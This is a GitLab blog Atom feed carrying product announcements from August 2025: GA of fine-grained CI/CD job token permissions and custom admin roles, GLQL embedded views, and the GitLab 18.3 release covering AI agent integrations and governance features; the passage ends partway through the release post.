<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <id>https://about.gitlab.com/blog</id>
    <title>GitLab</title>
    <updated>2025-08-29T13:04:45.910Z</updated>
    <generator>https://github.com/jpmonette/feed</generator>
    <author>
        <name>The GitLab Team</name>
    </author>
    <link rel="alternate" href="https://about.gitlab.com/blog"/>
    <link rel="self" href="https://about.gitlab.com/atom.xml"/>
    <subtitle>GitLab Blog RSS feed</subtitle>
    <icon>https://about.gitlab.com/favicon.ico</icon>
    <rights>All rights reserved 2025</rights>
    <entry>
        <title type="html"><![CDATA[Fine-grained permissions for job tokens is now GA]]></title>
        <id>https://about.gitlab.com/blog/fine-grained-job-tokens-ga/</id>
        <link href="https://about.gitlab.com/blog/fine-grained-job-tokens-ga/"/>
        <updated>2025-08-26T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p><a href="https://about.gitlab.com/topics/ci-cd/">CI/CD</a> pipelines often inherit overprivileged permissions from user accounts, creating significant security risks if pipelines are compromised or tokens are leaked. <a href="https://about.gitlab.com/releases/2025/08/21/gitlab-18-3-released/">GitLab 18.3</a> introduces fine-grained permissions for job tokens to solve this problem, moving this security enhancement from Beta to GA.</p>
<p>This capability allows maintainers to implement granular permissions that control job token access to API resources. Following the <a href="https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/">principle of least privilege</a>, these job tokens have no ability to access any API resources until you explicitly grant them permissions.</p>
<p>This initial release includes fine-grained permissions for the following resources:</p>
<ul>
<li>Repositories</li>
<li>Deployments</li>
<li>Environments</li>
<li>Jobs</li>
<li>Packages</li>
<li>Pipelines</li>
<li>Releases</li>
<li>Secure Files</li>
<li>Terraform State</li>
</ul>
<p>Additional API endpoints are planned for future releases. For more information, see the <a href="https://gitlab.com/groups/gitlab-org/-/epics/6310">associated epic</a>.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755633419/izgwpj45oxoof0frvhap.png" alt="fine-grained permissions example"></p>
<h2>The bigger picture</h2>
<p>This release represents a critical step in GitLab's broader mission to improve your software supply chain security. Historically, job tokens have been bound to the user running the pipeline, inheriting their privileges and creating security risks if pipelines are compromised.</p>
<p>Fine-grained permissions for job tokens provide a foundation for a more secure CI/CD ecosystem that:</p>
<ul>
<li><strong>Reduces attack surface</strong>: Implements the principle of least privilege by limiting access to only necessary resources</li>
<li><strong>Eliminates dependency on long-lived tokens</strong>: Provides a secure alternative that reduces the need for personal access tokens and other persistent credentials</li>
<li><strong>Prepares for machine-based identity</strong>: This opt-in approach lays the groundwork for eventually decoupling job tokens from user identities entirely, moving toward true machine-to-machine authentication</li>
<li><strong>Enables secure automation at scale</strong>: Supports complex deployment workflows and CI/CD components without compromising security</li>
</ul>
<h2>Getting started</h2>
<p>Security teams and DevOps engineers should evaluate this feature for any projects running automated deployments, package publishing, or infrastructure management. Since this is an opt-in capability, you can migrate gradually to minimize disruption to your existing pipelines.</p>
<p>Start by identifying your most critical pipelines and auditing their current permission requirements. Then enable fine-grained permissions and configure the minimal access needed for each project. For more information, see the <a href="https://docs.gitlab.com/ci/jobs/fine_grained_permissions/">documentation on fine-grained permissions for CI/CD job tokens</a>.</p>
]]></content>
        <author>
            <name>Alex Mark</name>
            <uri>https://about.gitlab.com/blog/authors/alex-mark</uri>
        </author>
        <author>
            <name>Joe Randazzo</name>
            <uri>https://about.gitlab.com/blog/authors/joe-randazzo</uri>
        </author>
        <published>2025-08-26T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Custom admin roles are now GA]]></title>
        <id>https://about.gitlab.com/blog/custom-admin-roles-now-ga/</id>
        <link href="https://about.gitlab.com/blog/custom-admin-roles-now-ga/"/>
        <updated>2025-08-25T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLab is introducing granular permissions for the Admin area in GitLab Self-Managed and GitLab Dedicated instances. These custom admin roles allow organizations to implement the <a href="https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/">principle of least privilege</a> for their instances while maintaining operational efficiency. Similar to custom roles for groups and projects, custom admin roles provide fine-grained permissions to control access to the Admin area.</p>
<p>These granular admin permissions allow organizations to create purpose-built administrative roles instead of granting complete administrator access to users. Potential use cases include:</p>
<ul>
<li><strong>Platform Team:</strong> Access to runner management, instance monitoring, and performance metrics</li>
<li><strong>Support Team:</strong> Access to user management and troubleshooting workflows</li>
<li><strong>Leadership Team:</strong> Access to dashboards, usage statistics, and licensing</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1756121189/xnnoyowwutlbxu9unho5.png" alt="Custom admin role"></p>
<h2>Features</h2>
<ul>
<li><strong>Granular permissions:</strong> Custom permissions let you build a role that fits your needs.</li>
<li><strong>Instance-level management:</strong> Custom admin roles are created and managed centrally.</li>
<li><strong>LDAP integration:</strong> Support for mapping large user sets to roles through directory servers.</li>
<li><strong>Audit integration:</strong> Works with existing <a href="https://docs.gitlab.com/administration/settings/sign_in_restrictions/#admin-mode">Admin mode</a> and audit events.</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1756121190/wedoc6gi4upivvjezyeu.png" alt="Custom admin role"></p>
<h2>Mission: Improve software supply chain security</h2>
<p>This feature represents a critical step in GitLab's broader mission to improve your software supply chain security. As part of this mission, GitLab has also added custom roles for projects and groups and <a href="https://docs.gitlab.com/ci/jobs/fine_grained_permissions/">granular permissions for CI/CD job tokens</a>.</p>
<p>For more information on custom admin roles, see <a href="https://docs.gitlab.com/user/custom_roles/">custom roles</a>. Additional permissions are planned for future releases. To share feedback, see the <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/509376">custom roles issue</a>.</p>
]]></content>
        <author>
            <name>Joe Randazzo</name>
            <uri>https://about.gitlab.com/blog/authors/joe-randazzo</uri>
        </author>
        <published>2025-08-25T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Embedded views: The future of work tracking in GitLab]]></title>
        <id>https://about.gitlab.com/blog/embedded-views-the-future-of-work-tracking-in-gitlab/</id>
        <link href="https://about.gitlab.com/blog/embedded-views-the-future-of-work-tracking-in-gitlab/"/>
        <updated>2025-08-21T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Ever find yourself switching between tabs in GitLab just to keep track of
what’s happening in your project? Maybe you’re checking on an issue, then
jumping to a merge request, then over to an epic to see how everything
connects. Before you know it, you’ve got a browser full of tabs and you’ve
lost your train of thought.</p>
<p>If that sounds familiar, you’re definitely not alone. So many teams waste time and energy flipping through various items in their project management software, just trying to get a handle on their work.</p>
<p>That's why we created <a href="https://docs.gitlab.com/user/glql/#embedded-views">embedded views</a>, powered by <a href="https://docs.gitlab.com/user/glql/">GitLab Query Language (GLQL)</a>. With embedded views, <a href="https://about.gitlab.com/releases/2025/08/21/gitlab-18-3-released/">available in 18.3</a>, you get live, relevant information right where you’re already working in GitLab. No more endless context switching. No more outdated reports. Just the info you need, right when you need it.</p>
<h2>Why embedded views matter</h2>
<p>Embedded views are more than just a new feature, they're a fundamental shift in how teams understand and track their work within GitLab. With embedded views, teams can maintain context while accessing real-time information, creating shared understanding, and improving collaboration without ever leaving their current workflow. It’s about making work tracking feel natural and effortless, so you can focus on what matters.</p>
<h2>How it works: Real-time data right where you need it the most</h2>
<p>Embedded views let you insert live GLQL queries in Markdown code blocks throughout wiki pages, epics, issues, and merge requests. Here's what makes them so useful:</p>
<h3>Always up to date</h3>
<p>GLQL queries are dynamic, pulling fresh data each time the page loads, so your embedded views always reflect the current state of your work, not the state when you embedded the view. When changes happen to issues, merge requests, or milestones, a page refresh will show those updates in your embedded view.</p>
<h3>Contextual awareness</h3>
<p>Use functions like <code>currentUser()</code> and <code>today()</code> to make queries context-specific. Your embedded views automatically adapt to show relevant information for whoever is viewing them, creating personalized experiences without manual configuration.</p>
<h3>Powerful filtering</h3>
<p>Filter by fields like assignee, author, label, milestone, health status, creation date, and more. Use logical expressions to get exactly the data you want. We support more than 30 fields as of 18.3.</p>
<h3>Customizable display</h3>
<p>You can display your data as a table, a list, or a numbered list. Choose which fields to show, set a limit on the number of items, and specify the sort order to keep your view focused and actionable.</p>
<h3>Availability</h3>
<p>You can use embedded views in group and project wikis, epic and issue descriptions, merge requests, and comments. GLQL is available across all GitLab tiers: Free, Premium, and Ultimate, on GitLab.com, GitLab Self-Managed, and GitLab Dedicated. Certain functionality, such as displaying epics, status, custom fields, iterations, and weights, is available in the Premium and Ultimate tiers. Displaying health status is available only in Ultimate.</p>
<h2>See embedded views in action</h2>
<p>The syntax of an embedded view's source is a superset of YAML that consists of:</p>
<ul>
<li>The <code>query</code> parameter: Expressions joined together with a logical operator, such as <code>and</code>.</li>
<li>Parameters related to the presentation layer, like <code>display</code>, <code>limit</code>, or <code>fields</code>, <code>title</code>, and <code>description</code>
represented as YAML.</li>
</ul>
<p>A view is defined in Markdown as a code block, similar to other code blocks like Mermaid.</p>
<p>For example:</p>
<blockquote>
<p>Display a table of first 5 open issues assigned to the authenticated user in <code>gitlab-org/gitlab</code>.
Display columns <code>title</code>, <code>state</code>, <code>health</code>, <code>description</code>, <code>epic</code>, <code>milestone</code>, <code>weight</code>, and <code>updated</code>.</p>
</blockquote>
<pre><code class="language-yaml">```glql
display: table
title: GLQL table 🎉
description: This view lists my open issues
fields: title, state, health, epic, milestone, weight, updated
limit: 5
query: project = &quot;gitlab-org/gitlab&quot; AND assignee = currentUser() AND state = opened
```
</code></pre>
<p>This source should render a table like the one below:</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755193172/ibzfopvpztpglnccwrjj.png" alt=""></p>
<p>An easy way to create your first embedded view is to navigate to the <strong>More options</strong> dropdown in the rich text editor toolbar. Once in this toolbar, select <strong>Embedded view</strong>, which populates the following query in a Markdown code block:</p>
<pre><code class="language-yaml">```glql
query: assignee = currentUser()
fields: title, createdAt, milestone, assignee
title: Issues assigned to current user
```
</code></pre>
<p>Save your changes to the comment or description where the code block appears, and you're done! You've successfully created your first embedded view!</p>
<h2>How GitLab uses embedded views</h2>
<p>Whether tracking merge requests targeting security releases, triaging bugs to improve backlog hygiene, or managing team onboarding and milestone planning, we rely on embedded views for mission-critical processes every day. This isn't just a feature we built, it's a tool we depend on to run our business effectively. When you adopt embedded views, you're getting a tested solution that's already helping GitLab teams work more efficiently, make data-driven decisions, and maintain visibility across complex workflows. Simply stated, embedded views can transform how your team accesses and analyzes the work that matters most to your success.</p>
<p>To learn and see more about how GitLab is using embedded views internally, check out <a href="https://about.gitlab.com/blog/how-gitlab-measures-red-team-impact-the-adoption-rate-metric/">How GitLab measures Red Team impact: The adoption rate metric</a>, and Global Search Release Planning issues for the <a href="https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/239">18.1</a>, <a href="https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/241">18.2</a>, and <a href="https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/245">18.3</a> milestones.</p>
<h2>What's next</h2>
<p>Embedded views are just the start of <a href="https://about.gitlab.com/direction/plan/knowledge/">Knowledge Group's</a> vision for work tracking. Learn more about what we're focusing on next in the <a href="https://gitlab.com/groups/gitlab-org/-/epics/15249">embedded views post-GA epic</a>. As embedded views evolve we're committed to making them even more powerful and <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/548722">accessible</a>.</p>
<h2>Share your experience</h2>
<p>Share your feedback in the <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/509792">embedded views GA feedback issue</a>. Whether you've discovered innovative use cases, encountered challenges, or have ideas for improvements, we want to hear from you.</p>
]]></content>
        <author>
            <name>Matthew Macfarlane</name>
            <uri>https://about.gitlab.com/blog/authors/matthew-macfarlane</uri>
        </author>
        <author>
            <name>Himanshu Kapoor</name>
            <uri>https://about.gitlab.com/blog/authors/himanshu-kapoor</uri>
        </author>
        <author>
            <name>Alex Fracazo</name>
            <uri>https://about.gitlab.com/blog/authors/alex-fracazo</uri>
        </author>
        <published>2025-08-21T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab 18.3: Expanding AI orchestration in software engineering]]></title>
        <id>https://about.gitlab.com/blog/gitlab-18-3-expanding-ai-orchestration-in-software-engineering/</id>
        <link href="https://about.gitlab.com/blog/gitlab-18-3-expanding-ai-orchestration-in-software-engineering/"/>
        <updated>2025-08-21T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Today, GitLab is a comprehensive DevSecOps platform, unifying every stage of the software lifecycle. Building on that foundation, we're on a journey toward becoming the world's first AI-native platform for software engineering. At GitLab, we believe the future of software engineering is an inherently human and AI collaboration, and we want to bring the very best AI capabilities to every GitLab user.</p>
<p>This transformation is happening at three distinct layers that go beyond what other AI dev tools are doing:</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755762266/iwuugge3cxweiyvi0yjk.png" alt="AI-native transformation slide visualizing what's laid out below"></p>
<p><strong>First, we are a system of record.</strong> Our unified data platform holds your most valuable digital assets. This includes your source code and intellectual property, as well as a wealth of unstructured data spanning project plans, bug backlogs, CI/CD configurations, deployment histories, security reports, and compliance data. This creates a treasure trove of contextual data that remains securely within your GitLab environment, unavailable to generic agents or large language models.</p>
<p><strong>Second, we act as your software control plane.</strong> We orchestrate your most critical business processes through Git repositories, REST APIs, and webhook-based interfaces that power your end-to-end software delivery. Many of our customers consider this a tier-0 dependency that their critical business processes rely on daily.</p>
<p><strong>Third, we deliver a powerful user experience.</strong> We deliver an integrated interface that helps eliminate the costly context-switching that slows down most engineering teams. With complete lifecycle visibility and collaboration tools in one platform, over 50 million registered users and our vast community depend on GitLab to get their work done. This expertise positions GitLab uniquely to pioneer intuitive human-to-AI collaboration that amplifies team productivity while preserving the workflows that our users know and trust.</p>
<p><strong>Extending our platform with AI natively integrated at every layer</strong></p>
<p><a href="https://about.gitlab.com/gitlab-duo/agent-platform/">GitLab Duo Agent Platform</a> integrates and extends all three of these layers. It is designed for extensibility and interoperability, enabling customers and partners to build solutions that create even more value. Our open platform approach emphasizes seamless connectivity with external AI tools and systems while being deeply integrated into our existing stack at all three layers.</p>
<ul>
<li>First, we're extending our unified data platform with a <strong>Knowledge Graph,</strong> which indexes and stitches together code with all of the rest of your unstructured data, specifically optimized for agentic access. AI thrives on context, and we believe this will not only accelerate reasoning and inference by agents but also deliver lower-cost and higher-quality agentic outcomes.</li>
<li>Second, we're adding an important <strong>Orchestration Layer</strong> to our existing Control Plane in three distinct parts: enabling agents and flows to register as subscribers for GitLab SDLC events, building a new orchestration engine that allows for purpose-built, multi-agent flows, and exposing GitLab tools, agents, and flows via MCP and standard protocols for unparalleled interoperability.</li>
<li>Finally, we're extending the <strong>GitLab experience</strong> to deliver first-class agents and agent flows across the entire software development lifecycle. You'll be able to assign async tasks to agents, @ mention them in comments, and create custom agents with context specific to your workflows — but more importantly, GitLab is shipping native agents for every stage of development while unlocking a rich ecosystem of third-party agents. This creates true human-to-AI collaboration where agents become as natural to work with as your human teammates.</li>
</ul>
<p>Watch this video to see what's coming in 18.3 and beyond, or read on.</p>
<p>&lt;div style=&quot;padding:75% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111796316?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;GitLab_18.3 Release_081925_MP_v1&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<h2>What's new in GitLab 18.3</h2>
<p>With 18.2, we introduced specialized <a href="https://about.gitlab.com/blog/gitlab-duo-agent-platform-public-beta/#agents-that-work-out-of-the-box:~:text=Agents%20that%20work%20out%20of%20the%20box">AI agents</a> that work alongside developers across the software development lifecycle, plus our <a href="https://about.gitlab.com/blog/gitlab-duo-agent-platform-public-beta/#agents-that-work-out-of-the-box:~:text=we%20are%20building%3A-,Software%20Development%20Flow,-(now%20in%20beta">Software Development Flow</a> — a powerful feature that gives users the ability to orchestrate multiple agents to plan, implement, and test code changes end-to-end.</p>
<p>GitLab 18.3 introduces expanded integrations and interoperability, more Flows, and enhanced context awareness across the entire software development lifecycle.</p>
<h3>Expanded integrations and interoperability</h3>
<p>We're delivering comprehensive AI extensibility through both first-party GitLab agents and a rich ecosystem of third-party agents, all with full access to project context and data. This approach maintains native GitLab workflows and governance while providing the flexibility to choose preferred tools through highly integrated orchestration between these agents and GitLab's core platform. Teams gain enhanced AI functionality while preserving key integration, oversight, and user experience benefits.</p>
<ul>
<li><strong>MCP server - Universal AI integration:</strong> GitLab's MCP (<a href="https://about.gitlab.com/topics/ai/model-context-protocol/">Model Context Protocol</a>) server enables AI systems to securely integrate directly with your GitLab projects and development processes. This standardized interface eliminates custom integration overhead and allows your AI tools — including <a href="https://docs.cursor.com/en/tools/mcp">Cursor</a> — to work intelligently within your existing GitLab environment. See our <a href="https://docs.gitlab.com/user/gitlab_duo/model_context_protocol/mcp_server/">docs</a> for a full list of tools included with 18.3. <strong>This is only the start; additional tools are planned for 18.4.</strong></li>
</ul>
<blockquote>
<p><em>“Bringing GitLab workflows directly into Cursor is a critical step in reducing friction for developers. By minimizing the need for context switching, teams can check issue status, review merge requests, and monitor pipeline results without ever leaving their coding environment. This integration is a natural fit for our shared customers, and we look forward to a long-term partnership with GitLab to continue enhancing developer productivity.”</em></p>
<p>- <strong>Ricky Doar, VP of Field Engineering at Cursor</strong></p>
<p><em>“GitLab's MCP server and CLI agent support create powerful new ways for Amazon Q to integrate with development workflows. Amazon Q Developer can now connect directly through GitLab's remote MCP interface, while teams can delegate development tasks by simply @ mentioning Amazon Q CLI in issues and merge requests. The robust security and governance capabilities built into these integrations give enterprises the confidence to leverage AI coding tools while preserving their development standards. Our partnership with GitLab demonstrates AWS' ongoing commitment to expanding our AI ecosystem and making intelligent development tools accessible wherever developers work.&quot;</em></p>
<p>- <strong>Deepak Singh, Vice President of Developer Agents and Experiences at AWS</strong></p>
</blockquote>
<ul>
<li>
<p><strong>CLI agent support for Claude Code, Codex, Amazon Q, Google Gemini, and opencode (Bring Your Own Key):</strong> 18.3 introduces integrations that enable teams to delegate routine development work by @ mentioning their agents directly in issues or merge requests. When developers mention these AI assistants, they automatically read the surrounding context and repository code, then respond to the user's comment with either ready-to-review code changes or inline comments. These integrations require you to bring your own API key for the respective AI providers and keep all interactions natively within GitLab's interface while maintaining proper permissions and audit trails.</p>
<p><strong>Note:</strong> Third-party agents is a GitLab Premium Beta feature and only available to GitLab Duo Enterprise customers for evaluation.</p>
</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111784124?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Third Party Agents Flows Claude Code&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<blockquote>
<p><em>“Bringing Claude Code directly into GitLab puts AI assistance where millions of developers already collaborate and ship code daily. The ability to mention Claude directly in issues and merge requests removes friction while maintaining quality with human oversight and review processes. This update brings Claude Code's capabilities to more places where teams work, making AI a natural part of their developer workflow.”</em></p>
<p><strong>- Cat Wu, Claude Code Product Lead, Anthropic</strong></p>
<p><em>“With GitLab's new agent integration in 18.3 you can use opencode within your existing workflows. You can @mention opencode in an issue or merge request and it'll run your agent right in your CI pipeline. This ability to configure and run opencode the way you want is the type of integration we know the open source community really values.”</em></p>
<p><strong>- Jay V., CEO, opencode</strong></p>
</blockquote>
<ul>
<li><strong>Agentic Chat support for Visual Studio IDE and GitLab UI available to all Premium and Ultimate customers:</strong> With 18.3, you no longer need to context-switch between tools to access GitLab's full development lifecycle data. Our enhanced integrations bring the complete power of GitLab Duo into the GitLab UI as well as IDEs — expanding support from JetBrains and VS Code to now include Visual Studio. This helps developers stay in flow while accessing rich project context, deployment history, and team collaboration data directly within their preferred environment.</li>
<li><strong>Expanded AI model support:</strong> GitLab Duo Self-Hosted now supports additional AI models, giving teams more flexibility in their AI-supported development workflows. You can now deploy open source OpenAI GPT models (20B and 120B parameters) through vLLM on your datacenter hardware, or through cloud services like Azure OpenAI and AWS Bedrock in your private cloud. Additionally, Anthropic's Claude 4 is available on AWS Bedrock</li>
</ul>
<h3>New automated development flows</h3>
<p>GitLab Flows coordinate multiple AI agents with pre-built instructions to autonomously handle those time-consuming, mundane tasks so developers can focus on the work that matters most.</p>
<p>GitLab 18.3 comes with two new Flows:</p>
<ul>
<li><strong>Issue to MR Flow enabling automated code generation from concept to completion in minutes:</strong> This Flow automatically converts issues into actionable merge requests (MRs) by coordinating agents to analyze requirements, prepare comprehensive implementation plans, and generate production-grade code that's ready for review — helping you turn ideas into reviewable implementations in minutes, not hours.</li>
</ul>
<p>&lt;div style=&quot;padding:75% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111782058?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Issue to MR&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<ul>
<li><strong>Convert CI File Flow built for seamless migration intelligence:</strong> Our Convert CI File Flow streamlines migration workflows by having agents analyze existing CI/CD configurations and intelligently convert them to GitLab CI format with full pipeline compatibility. This helps eliminate the manual effort and potential errors of rewriting CI configurations from scratch, enabling teams to migrate entire deployment pipelines with confidence. 18.3 includes support for Jenkins migrations. Additional support is planned for future releases.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111783724?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Convert to CI Flow&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<h3>Intelligent code and search</h3>
<p>AI point solutions typically operate with limited visibility into isolated code snippets, but GitLab's Knowledge Graph provides agents with environment context to help inform faster and more intelligent responses.</p>
<ul>
<li><strong>Knowledge Graph for real-time code intelligence:</strong> With 18.3, GitLab's Knowledge Graph now delivers real-time code indexing to enable faster code searches, delivering more accurate and contextual results. By understanding the relationships between files, dependencies, and development patterns across your entire codebase, our agents are designed to provide insights that would take human developers hours to uncover — <strong>and this is just the first step in unlocking the powerful capabilities that are planned for Knowledge Graph.</strong></li>
</ul>
<h3>Enterprise governance</h3>
<p>AI transparency and organizational control are critical challenges that can hold teams back from fully adopting AI-powered development tools, with <a href="https://about.gitlab.com/software-innovation-report/">85% of executives agreeing that agentic AI will create unprecedented security challenges</a>.</p>
<p>These new features in 18.3 help address concerns around data governance, compliance requirements, and the need for visibility into AI decision-making processes so organizations can integrate AI within their existing security and policy frameworks.</p>
<ul>
<li><strong>Agent Insights for transparency through intelligence:</strong> Our built-in agent tracking provides visibility into agent decision-making processes. Users can optimize workflows and follow best practices through transparent activity tracking.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111783244?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Agent Insights&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;</p>
<ul>
<li><strong>GitLab Duo Code Review for Self-Hosted:</strong> This brings the intelligence of GitLab Duo to organizations with strict data governance requirements by allowing teams to keep sensitive code in controlled environments.</li>
<li><strong>Hybrid model configurations for flexible AI deployment:</strong> GitLab Duo Self-Hosted customers can now use hybrid model configurations, combining self-hosted AI models via their local AI gateway with GitLab's cloud models through GitLab's AI gateway, enabling access to various features.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111783569?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Self Hosted Models Code Review&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;</p>
<ul>
<li><strong>Enhanced security with OAuth support:</strong> Our MCP server now includes full OAuth 2.0 authentication support, enabling secure connections to protected resources and sensitive development environments. This implementation follows the draft OAuth specification for MCP, handling authorization flows, token management, and dynamic client registration.</li>
</ul>
<h3>Secure by Design platform: Governance that scales</h3>
<p>True platform security requires consistent application of governance principles across every layer of the development lifecycle. The same security fundamentals that make AI adoption safe — least-privilege access, centralized policy management, proactive monitoring, and granular permissions — must be embedded throughout the entire SDLC to create a cohesive, defense-in-depth approach.</p>
<p>GitLab 18.3 strengthens the foundational controls that help protect your entire software supply chain with these new updates:</p>
<ul>
<li><strong>Custom admin role:</strong> Provides granular, purpose-built administrative permissions, replacing blanket admin access with precise, least-privilege controls. Instead of granting blanket administrative privileges that create security risks, organizations can now create specialized roles tailored to specific functions — platform teams managing runners and monitoring, support teams handling user management, and leadership accessing dashboards and usage statistics. With complete role lifecycle management through UI and API, audit logging, and auto-generated documentation, this feature enables true least-privilege administration while helping maintain operational efficiency and improve overall instance security.</li>
<li><strong>Instance-level compliance framework and security policy management</strong>: Organizations can now designate a dedicated compliance group that has the authority to apply standardized frameworks and security policies directly to top-level groups, automatically cascading enforcement to all their subgroups and projects. This centralized approach eliminates the compliance adoption blocker of fragmented policy management while maintaining group autonomy for additional local policies.</li>
<li><strong>Enhanced violations reporting:</strong> Teams now receive immediate notifications when unauthorized changes are made to MR approval rules, framework policies lack proper approvals, or time-based compliance controls are violated. By directly linking violations to specific compliance framework controls, teams get actionable insights that tell them exactly which requirement was breached, turning compliance from a reactive checkbox exercise into a proactive, integrated part of the development and security workflow.</li>
<li><strong>Fine-grained permissions for CI/CD job tokens:</strong> Replaces broad token access with granular, explicit permissions that grant CI/CD jobs access only to specific API endpoints they actually need. Instead of allowing jobs blanket access to project resources, teams can now define precise permissions for deployments, packages, releases, environments, and other critical resources, reducing the attack surface and potential for privilege escalation.</li>
<li><strong>AWS Secrets Manager integration:</strong> Teams using AWS Secrets Manager can now retrieve secrets directly in GitLab CI/CD jobs, simplifying the build and deploy processes. Secrets are accessed by a GitLab Runner using OpenID Connect protocol-based authentication, masked to prevent exposure in job logs, and destroyed after use. This approach eliminates the need to store secrets in variables and integrates cleanly into existing GitLab and AWS-based workflows. Developed in close collaboration with Deutsche Bahn and the AWS Secrets Manager team, this integration reflects our commitment to building solutions alongside customers to solve real-world challenges.</li>
</ul>
<h3>Artifact management: Securing your software supply chain</h3>
<p>When artifacts aren't properly governed, small changes can have big consequences. Mutable packages, overwritten container images, and inconsistent rules across tools can trigger production outages, introduce vulnerabilities, and create compliance gaps. For enterprise DevSecOps, secure, centralized artifact management is essential for keeping the software supply chain intact.</p>
<h4>Enterprise-grade artifact protection in 18.3</h4>
<p>Building on our comprehensive package protection capabilities, GitLab 18.3 adds important new features:</p>
<ul>
<li><strong>Conan revisions support:</strong> New in 18.3, <a href="https://docs.gitlab.com/user/packages/conan_2_repository/#conan-revisions">Conan revisions</a> provide package immutability for C++ developers. When changes are made to a package without changing its version, Conan calculates unique identifiers to track these changes, enabling teams to maintain immutable packages while preserving version clarity.</li>
<li><strong>Enhanced Container Registry security:</strong> Following the successful launch of <a href="https://docs.gitlab.com/user/packages/container_registry/immutable_container_tags/">immutable container tags</a> in 18.2, we're seeing strong enterprise adoption. Once a tag is created that matches an immutable rule, no one — regardless of permission level — can modify that container image, preventing unintended changes to production dependencies.</li>
</ul>
<p>These enhancements complement our existing protection capabilities for npm, PyPI, Maven, NuGet, Helm charts, and generic packages, enabling platform teams to implement consistent governance across their entire software supply chain — a requirement for organizations building secure internal developer platforms.</p>
<p>Unlike standalone artifact solutions, GitLab's integrated approach eliminates context switching between tools while providing end-to-end traceability from code to deployment, enabling platform teams to implement consistent governance across their entire software delivery pipeline.</p>
<h3>Embedded views: Real-time visibility and reports</h3>
